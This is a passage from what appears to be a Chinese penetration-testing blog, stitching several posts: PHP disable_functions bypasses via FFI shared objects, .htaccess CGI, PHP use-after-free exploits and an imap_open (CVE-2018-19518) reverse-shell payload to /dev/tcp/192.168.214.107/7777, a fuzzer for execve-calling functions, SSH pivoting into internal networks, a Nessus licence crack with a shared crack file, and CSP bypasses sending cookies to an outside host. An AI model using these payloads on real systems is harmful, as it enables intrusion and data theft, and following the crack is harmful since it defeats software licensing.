这里如果只定义 system 函数而省略 libc.so.6 同样也是可以执行命令的，支持 RTLD_DEFAULT 的平台将尝试在常规全局范围内查找在代码中声明的符号

当我们只能控制 FFI::cdef 函数的 lib 参数的时候，FFI::cdef 函数还可以加载我们自定义的动态链接库，但是需要填写绝对路径，否则会无法加载，比如

ffi.php



$ffi = FFI::cdef(
        "int system(const char *command);",
        "/var/www/html/bad.so");

?>

bad.c

#include 
__attribute__((constructor)) void j0k3r(){
    system("echo Hacked && id");
}

只要加载编译好的 bad.so 即可执行恶意代码

9. Apache mod_cgi 修改 .htaccess 绕过限制

有几个利用条件

Apache 开启 AllowOverride
开启 cgi_module
.htaccess 文件可写
cgi 程序可执行

本地测试环境推荐使用 Docker，会比较最方便

docker pull bronsonbdevost/cgi-web-server

默认 cgi 目录在 /usr/local/apache2/cgi-bin，配置文件位于 /usr/local/apache2/conf/httpd.conf

默认没有 PHP，安装

apt-get install php5-common libapache2-mod-php5

安装 libsqlite3-0 404 的话可以到网站下载

https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download

1
2
3

wget http://security.debian.org/debian-security/pool/updates/main/s/sqlite3/libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb

dpkg -i libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb

添加 php5 模块配置文件

cp /etc/apache2/mods-available/php5.conf.dpkg-new conf/extra/php5_module.conf

修改 httpd.conf

AddHandler php5-script php
LoadModule php5_module /usr/lib/apache2/modules/libphp5.so

Include conf/extra/php5_module.conf

重启 Apache

/usr/local/apache2/bin/apachectl restart

模拟写入恶意 .htaccess 文件，添加后缀 .sh

1 2	Options +ExecCGI AddHandler cgi-script .sh

上传 sh 文件，浏览器访问即可执行其中的命令

#!/bin/bash
echo "Content-type: text/html"
echo "Hello, Shell"
curl 192.168.214.107:7777

10. 利用 PHP bug Bypass disable_functions

利用两个 PHP 历史漏洞来绕过 disable_functions

Exploits ：

https://github.com/mm0r1/exploits

(1) Use after free with json serializer

适用目标：
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)

php-json-bypass

(2) Use After Free in GC with Certain Destructors

https://bugs.php.net/bug.php?id=72530

适用目标：
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date

php7-gc-bypass

测试在 ubuntu16.04 + PHP 7.1.33 的环境下两个 exp 都是可以正常使用的，但如果是在 Docker 或者是其他环境下那就不一定了

11. PHP imap_open RCE 漏洞（CVE-2018-19518）

要求 PHP 安装 imap 模块

反弹 shell payload：


$payload = "/bin/bash -i >& /dev/tcp/192.168.214.107/7777 0>&1";
$base64 = base64_encode($payload);
$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");

一些利用工具

1.Bypass disable_functions 工具:

https://github.com/l3m0n/Bypass_Disable_functions_Shell

2.AntSword 绕过 PHP disable_functions 插件:

antsword bypass PHP disable_functions

3.Chankro:

https://github.com/TarlogicSecurity/Chankro

0x02 Fuzz 挖掘含内部系统调用的函数

主要是指使用 LD_PRELOAD 这种方式绕过 disable_functions 的时候，需要满足一个条件，就是使用的 php 函数需要在内部调用 execve 等系统功能开启一个新进程

那怎么知道到底哪些函数可以满足这种绕过方法呢，之前看到有一篇国外的文章 Fuzzer gets us new functions to bypass PHP disable_functions ，文中讲了如何使用 Fuzz 获得这一类 php 函数

大体思路就是尽可能多的安装 php 的各种模块，增加 php 内部定义的函数数量，然后确定每个函数所需要的参数个数范围，接着输入参数，运行函数，strace 查看是否有 execve 系统调用的行为发生

在获取函数的参数信息方面，使用的是 php 的函数反射类——ReflectionFunction，getNumberOfRequiredParameters() getNumberOfParameters() 方法分别获取函数的最小和最大参数个数，原文中直接使用报错信息判断参数个数未免不够优雅

参数数目确定了，接着就是数据类型，但是每个参数的类型都不一定相同

其实 ReflectionParameter 类的 getClass() 方法能获得类型提示类，getType() 直接获取参数类型，但是这个用在用户自定义函数的参数上还行，对于内部函数来说返回值都是 NULL，基本用不了。举个例子

如图，用户自定义函数 foo 能够通过反射直接获得一个 ReflectionNamedType类，getName() 得到参数类型，比较迷的是 php 官方文档上写的是 ReflectionType，具体见： PHP: ReflectionParameter - Manual这一页，而搜索 ReflectionNamedType 得到的却是 404，看来 php 在反射这方面的文档还没有完善

但是 php 作为一个弱类型语言这时候就凸显了它的优势，很多 php 函数本身就是 mixed 类型，而且 php 还会自动进行类型转换

像 ‘1../../../../../../../../../etc/passwd’ 这种参数就能同时满足 string、int、file、bool 四种类型，基本满足绝大部分函数了

感觉原文那代码处理的不太好，还有 bug，自己写了一个，加了个可以 fuzz 指定 php 模块的功能，比如安装了 gnupg 拓展，可以 Fuzz 该模块下的所有函数，方便测试

#coding: utf-8
import os
import sys
import re

def getAllDefinedFunc():
    get_defined_function = os.popen("php -r 'print_r(get_defined_functions()[\"internal\"]);'").readlines()
    #print get_defined_function
    b = get_defined_function[2:-1]
    b = map(str.strip, b)
    for i in range(len(b)):
        b[i] = re.sub(r'.*> ', '', b[i])
    get_defined_function = b# all defined PHP functions
    get_defined_function.remove(get_defined_function[0])
    get_defined_function.remove(get_defined_function[0])
    get_defined_function.remove('readline')
    return get_defined_function

def getModuleFunc(phpModuleName,getDefinedFunction):
    moduleFunc = []
    for func in getDefinedFunction:
        getExtNameCmd = "php -r \"echo (new ReflectionFunction('{}'))->getExtensionName();\"".format(func)
        extName = os.popen(getExtNameCmd).readlines()[0]
        if extName == phpModuleName:
            moduleFunc.append(func)
    return moduleFunc

def fuzzFunc(getDefinedFunction):
    for func in getDefinedFunction:
        maxParaNumCmd = "php -r \"echo (new ReflectionFunction('{}'))->getNumberOfParameters();\"".format(func)
        minParaNumCmd = "php -r \"echo (new ReflectionFunction('{}'))->getNumberOfRequiredParameters();\"".format(func)
        maxParaNum = int(os.popen(maxParaNumCmd).readlines()[0])
        minParaNum = int(os.popen(minParaNumCmd).readlines()[0])
        print maxParaNum
        print minParaNum
        for paraNum in range(minParaNum,maxParaNum + 1):
            paraMeters = ['\'1../../../../../../../../../etc/passwd\'' for i in range(paraNum)]
            paraMeters = ','.join(paraMeters)
            newPhpCmd = "php -r \"{}({});\"".format(func,paraMeters)
            print newPhpCmd
            newFuzzCmd = "strace -f {} 2>&1 | grep -E 'execve|fork|vfork'".format(newPhpCmd)
            print newFuzzCmd
            out = re.findall(r'execve', ''.join(os.popen(newFuzzCmd).readlines()[1:]))
            print out
            if len(out) >= 1:
                with open('fuzz-out.txt','a+') as file:
                    file.write(newPhpCmd + "\n")
                break

if __name__ == "__main__":
    if len(sys.argv) > 1:
        phpModuleName = sys.argv[1]
        getDefinedFunction = getAllDefinedFunc()
        moduleFunc = getModuleFunc(phpModuleName,getDefinedFunction)
        if len(moduleFunc) == 0:
            print ('没有找到与指定模块相关的函数，检查名称是否正确')
        else:
            #print moduleFunc
            fuzzFunc(moduleFunc)
    else:
        print ('fuzz all')
        getDefinedFunction = getAllDefinedFunc()
        fuzzFunc(getDefinedFunction)

Fuzz 测试结果：

单一模块 Fuzz 结果：

这种方式可以用于发现新的可用于 bypass 的函数，或者用来检测安全过滤够不够严格

利用 OPcache 执行命令

注：OPcache 不能饶过 disable_functions，它调用内部函数或方法时仍然会被限制

OPcache 通过将 PHP 脚本预编译的字节码（Operate Code）存储到共享内存中来提升 PHP 的性能

如果我们知道 OPcache 的缓存路径，就可以通过替换缓存文件来直接执行系统命令

首先是要求 PHP 开启了 OPcache，下面是 php.ini 中的 OPcache 常规配置

[opcache]
zend_extension=/usr/lib/php/20151012/opcache.so
opcache.enable=1
opcache.enable_cli=1
opcache.memory_consumption=528
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=10000
opcache.revalidate_freq=1
opcache.fast_shutdown=1
opcache.validate_timestamps=0
opcache.file_cache=/tmp

其中的 opcache.file_cache 则是指定缓存目录，比如设置 /tmp，运行 /var/www/html/ 下的 index.php 则会生成相应的 /tmp/[system_id]/var/www/html/index.php.bin 文件

system_id 是当前 PHP 版本号，Zend 扩展版本号以及各个数据类型大小的 MD5 值

在另一个环境下利用 opcache 得到一个包含恶意代码的缓存文件，更改其文件头后面的 system_id 为要替换的缓存文件的 system_id，只需更改 system_id，文件 16 进制中的 php 文件目录即使不同也无需更改

替换相应缓存目录下的缓存文件，再次运行查看运行结果

Reference：

https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/

https://www.freebuf.com/articles/web/192052.html

https://www.cnblogs.com/leixiao-/p/10612798.html

https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/

使用 SSH 建立 socks 代理进行内网穿透

2020-01-07T16:00:00.000Z

点击阅读

0x01 前言

SSH (Secure Shell) 是一种加密网络协议，用于在不安全的网络上安全地运行网络服务。

OpenSSH 是用于使用 SSH 协议进行远程登录的主要连接工具。对所有流量进行加密，此外，OpenSSH 还提供了一整套安全的隧道功能，多种身份验证方法以及复杂的配置选项。

在一般的 Linux 机器中默认都会装有 OpenSSH，那么在偶尔需要建立代理访问内部网络的时候，抛弃一些其它代理程序的繁琐配置，使用 ssh 不失为一种方便快捷的办法

OpenSSH 命令手册： ssh(1) - OpenBSD manual pages

0x02 准备

ssh 配置文件 /etc/ssh/sshd_config 中默认没有 GatewayPorts 这一项或者值为 no

GatewayPorts 用于指定是否允许远程主机连接到为客户端转发的端口，参数为 no 强制远程端口转发仅对本地主机可用，即将远程端口转发绑定到环回地址，防止其他远程主机连接，yes 强制强制远程端口转发绑定到通配符地址，或者指定的其他地址

根据情况进行合理配置，比如要在公网做转发的时候就需要配置 GatewayPorts yes

sshd_config 配置参数手册：sshd_config —— OpenSSH daemon configuration file

0x03 转发

在本地使用 Docker 模拟搭建一个简易的网络环境

如图，都是在内网中的机器，只不过网段不同，使用 ssh 建立代理来访问不同层次的网络

下面先简单介绍用到的命令参数：

-p port 连接到远程主机上的端口
-N 不执行远程命令。对于仅转发端口很有用
-f 将 ssh 命令放在后台
-n 从 /dev/null 重定向标准输入（实际上，防止从标准输入读取),在后台运行ssh时必须使用此选项
-q 安静模式。阻止大多数警告和诊断消息。
-g 允许远程主机连接到本地转发的端口
-T 禁用伪终端分配
-p [port] 要连接到远程主机上的端口
-D [bind_address:]port 指定本地“动态”应用程序级端口转发
-R [bind_address:]port:host:hostport 指定与远程（服务器）主机上给定的TCP端口或Unix套接字的连接将转发到本地

应用场景一. Host 1 访问 192.168.1.0/24 网络

图中的 Host 1 有且只有一个 ip，处于 172.16.1.0/24 网络中，能直接访问的主机只有 Host 2

在 Host 1 使用 ssh 建立一个 socks 代理服务器即可，使用 -D

-D 参数是比较关键的一个，建立代理就靠它了，通过分配一个套接字来侦听本地端的端口，每当与此端口建立连接时，该连接都会通过安全通道转发，充当 SOCKS 服务器，支持 SOCKS4 和 SOCKS5 协议

只有root可以转发特权端口（端口号小于 1024 的端口），动态端口转发也可以在配置文件中指定。

Host 1 执行命令:

ssh -fnqgNTD [host 1 port ] -p 22 [host 2 username]@[host 2 ip]

该场景下使用：ssh -fnqgNTD 7777 -p 22 j0k3r@172.16.1.3

Host 1 给当前终端设置 socks 5 代理：export ALL_PROXY=socks5://127.0.0.1:10808

访问 192.168.1.0/24 网络验证一下

Host 1 发送的网络数据通过 socks 代理和 ssh 连接发送到了 Host 2，于是就能访问 Host 3 的服务了

引用场景二. Host 1 访问 10.1.1.0/24 网络

上图可以看出 Host 2 和 Host 3 同处于 192.168.1.0/24 网络，但是只有 Host 3 还可以访问 10.1.1.0/24，而 Host 1 更是不能直接访问 Host 3，这个时候相对于场景一只需要在中间让 Host 2 把 Host 3 的 22 端口转发给 Host 1 就行了，最终使用场景一中的方法开启代理即可

需要用到 ssh 反向代理，使用 -R

-R 参数是转发的关键参数, 指定与远程（服务器）主机上给定的TCP端口或Unix套接字的连接将转发到本地

-R [bind_address:]port:host:hostport
-R [bind_address:]port:local_socket
-R remote_socket:host:hostport
-R remote_socket:local_socket
-R [bind_address:]port

举个例子

Host 2: ssh -fnqgNTR [host 1 port]:[host 3]:[host 3 port] -p 22 [host 1 username]@[host 1 ip]

该命令会将 host 3 的 port 转发到 host 1 的 port

该场景下命令为：ssh -fnqgNTR 6666:192.168.1.3:9090 -p 22 j0k3r@172.16.1.2

此时 host 1 可以通过访问本地 6666 端口直接访问 host 3 的 9090 端口上的服务

同理，转发 host 3 的 ssh 端口，再建立代理

该场景下命令为：

Host 2: ssh -fngqNTR 7777:192.168.1.3:22 -p 22 j0k3r@172.16.1.2

Host 1: ssh -fngqNTD 6767 -p 7777 j0k3r@127.0.0.1, export ALL_PROXY=socks5://127.0.0.1:6767

此时 host 1 可以通过代理直接访问 host 4

其他场景

（1）反向代理穿透内网，外网访问

（2）正向代理

使用 -L

Nessus v8.x 永久破解方法

2020-01-04T16:00:00.000Z

点击阅读

0x00 前言

Nessus 作为一款出色的漏洞扫描工具，有时候还是有奇效的：），之前用的免费版，对扫描数量有 16 个 ip 的限制，着实不太友好，macOS 下破解有少许差别，于是对破解过程进行简单记录

系统环境：macOS 10.14.6

0x01 破解方法

1. 安装 Nessus

直接到 Nessus 官网：https://www.tenable.com/downloads/nessus 下载对应系统版本的 Nessus，基本上主流平台都有

在 macOS 下，安装成功后的 Nessus 目录位于 /Library/Nessus/

Nessus 默认地址为：https://127.0.0.1:8834/

安装完毕会自动打开浏览器，注意⚠️要选择 Managed Scanner 这项，然后在 Manageed by 下拉选择 Tenable.sc ，Continue 即可，最后输入用户名和密码就 OK

2. 使用离线包安装更新

获取激活码

https://zh-cn.tenable.com/products/nessus/activation-code?tns_redirect=true#nessus

如果选择 Nessus Essentials 也就是免费版会来到一个注册界面

注册后邮箱会收到一个激活码

然后访问 https://plugins.nessus.org/offline.php 以下载获取 all-2.0.tar.gz 和 nessus-fetch.rc 文件

但是要先输入 challenge code 和激活码

获取 challenge code，到 /Library/Nessus/run/sbin 使用命令行工具

nessuscli fetch --challeng

到页面输入相应内容

得到两个文件链接，下载即可（ all-2.0.tar.gz 比较慢，要有耐心

下载完上面里那个文件就可以离线更新插件了

sudo ./nessuscli update ~/Downloads/all-2.0.tar.gz

别忘了复制下载好的 nessus-fetch.rc 到 /Library/Nessus/run/etc/nessus/nessus-fetch.rc

3. 替换文件

以上步骤完成后要重启 Nessus，等待一会直到初始化成功

将 plugin_feed_info.inc 文件替换到本地

共需替换两处：

/Library/Nessus/run/var/nessus 目录下

/Library/Nessus/run/lib/nessus/plugins 目录下

没有 plugin_feed_info.inc 也没关系，直接复制过去就好

最好改成一样的用户，组和权限

sudo chown root:admin ./plugin_feed_info.inc && sudo chmod 644 ./plugin_feed_info.inc

最后重启 Nessus，等待初始化完成，登陆查看

许可已经变成了无限♾

扫描终于没有了 16 个 ip 的限制

分享一个 plugin_feed_info.inc 文件

链接:https://pan.baidu.com/s/1o4EQvnbTGkGSxWJzThNInA

密码:nwdc

Reference：

https://mp.weixin.qq.com/s/jpOnANV1_l-xMfN6wVLrbQ

前端安全之 CSP 及其常见绕过

2019-11-18T16:00:00.000Z

点击阅读

0x01 CSP (内容安全策略)

1. CSP 是什么？

内容安全策略 (CSP) 是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件，这些攻击都是主要的手段。

使用 CSP 的主要目的就是通过指定有效域防御 XSS 这类的攻击

2. 使用 CSP

使用 Content-Security-Policy HTTP 头

html 标签

1	<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

CSP 限制类型

常见：

default-src 能够设置其他指令的值，其他指令为下面这几个

child-src//框架
connect-src//HTTP 连接（通过 XHR、WebSockets、EventSource等）
font-src//字体文件
frame-src// 和 
img-src//图像
manifest-src//manifest 文件
media-src//媒体文件（音频和视频）
object-src//插件（比如 Flash）
prefetch-src//prefetch 和 prerender
script-src//外部脚本
script-src-elem//指定



Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

以下除

更多参数信息可以到 MDN Docs 查看 Content-Security-Policy - HTTP | MDN

0x02 CSP Bypass

1. URL 跳转

default-src ‘none’ 时

1	<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

script-src ‘unsafe-inline’ 时

一些常用 javascript 重定向跳转方法

window.location

1
2
3

<script>
window.location="http://eval.php?c=cookie"
script>

window.location.href

1
2
3

<script> 
window.location.href="http://baidu.com"; 
script>

window.location.replace

1
2
3

<script>
window.location.replace("http://baidu.com")
script>

window.open // Chrome 和 FireFox 默认会拦截弹出窗口

1
2
3

<script>
window.open("http://baidu.com")
script>

self.location

1
2
3

<script> 
self.location='http://baidu.com'; 
script>

top.location

1
2
3

<script> 
top.location='http://baidu.com'; 
script>

有个 window.navigate 只针对 IE，所以不推荐

1
2
3

<script>
document.location="http://baidu.com"
script>

1
2
3

<script>
location.href="http://baidu.com"
script>

img、video、audio、iframe、a 等标签的 src 或 href 发起外域请求

script-src ‘unsafe-eval’ 时

使用 eval 函数，结合 fromCharCode 可以 Bypass 一些常见过滤


// c = 'document.location="http://baidu.com"'

<script> 
eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 98, 97, 105, 100, 117, 46, 99, 111, 109, 34))
script>

标签预加载

1. dns-prefetch

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址，当用户访问该资源时就可以加快 DNS 解析

在 default-src 'self'; script-src 'self' 'unsafe-inline'; 时可以使用

1	<link rel="dns-prefetch" href="//[some thing].xxxx.ceye.io">

但是测试 FireFox 好像不大行

注意替换域名的特殊字符满足域名的规则 [.-a-zA-Z0-9]+

2. prefetch

Link Prefetch (页面资源预加载)

它利用浏览器的空闲时间来下载或预取用户可能在不久的将来访问的文档。
网页向浏览器提供一组预取提示，并且在浏览器完成页面加载后，它开始以静默方式预取指定的文档并将其存储在其缓存中

1	<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

但是本地测试新版 Chrome 和 FireFox 未成功

标签补全

比如使用 Content-Security-Policy: default-src 'none';script-src 'nonce-abc'，当 nonce 相同才能执行脚本时

如果是类似下面情况

1 2	<p>插入点p> <script id="aa" nonce="abc">document.write('CSP');script>

插入

J0k3r's Blog

CISCN 2020 第十三届全国大学生信息安全竞赛 初赛 WEB Writeup

easyphp

babyunserialize

rceme

littlegame

easytrick

Java OGNL 表达式注入

0x01 OGNL (Object Graph Navigation Library)

0x02 使用 OGNL

0x03 OGNL 注入

0x04 注入绕过与防御

Reference

MS Exchange 常用攻击方法与 NSPI 拓展攻击面

0x01 测试环境搭建

1. 系统与应用下载

2. 安装过程

0x02 攻击 Exchange

1. 获取 Exchange 用户列表和其他信息

2. 使用 Ruler

爆破攻击

3. 使用 PEAS

4. EWS订阅攻击

5. Office Web 插件攻击

0x03 使用 NSPI 攻击 Exchange

RPC(Remote Procedure Call) over HTTP v2 工作原理

获取 RPC 服务器名

扫描 RPC over HTTPv2 服务

分析 MS-OXABREF 与 MS-OXNSPI

MIDs 和 Legacy DNs 的格式

MIDs（Minimal Entry ID）的其它格式

使用 exchanger.py

Reference：

S2-059 漏洞与不同 Struct2 版本的 Payload 分析

漏洞描述：

漏洞分析：

Struct 2.3.10 分析

S2-059 Demo

Struct 2.3.20 分析

Struct 2.5.10 分析

Struct 2.5.16

Reference

Java EL （Expression Language）表达式注入

0x01 EL 介绍

0x02 EL 使用

使用值表达式引用对象

引用对象属性或集合元素

EL 运算符

0x03 EL 注入

0x04 EL 绕过与防御

Reference

Java JNDI 注入原理与高 JDK 版本绕过

0x01 JNDI 注入原理

1. 什么是 JNDI ？

2. JNDI References 注入

3. Fastjson JdbcRowSetImpl 反序列化利用

4. JDNI 注入在高版本 JDK 的绕过

（1）利用本地 Class 作为 Reference Factory

实战案例

（2）利用反序列化触发本地 Gadget

（3）JRPM 反序列化

Reference

基于 AST（抽象语法树）解 PHP 混淆

0x01 php-parser

0x02 解混淆 （Deobfuscate）

解变量名

解 unserialize + base64_decode 混淆

解 GLOBALS 键名混淆

计算数字表达式

解 chr 函数混淆

解字符拼接混淆

解 str_rot13 函数混淆

解 call_user_func_array 函数混淆

Reference

高校战“疫”网络安全分享赛 Web Partial WriteUp

sqlcheckin

PHP-UAF

webtmp

hackme

webct

CISCN 2020 第十三届全国大学生信息安全竞赛初赛 WEB Writeup

0x02 解混淆（Deobfuscate）

CVE-2020-7245 CTFd 任意账户接管漏洞分析

11. PHP imap_open RCE 漏洞（CVE-2018-19518）

应用场景一. Host 1 访问 192.168.1.0/24 网络

引用场景二. Host 1 访问 10.1.1.0/24 网络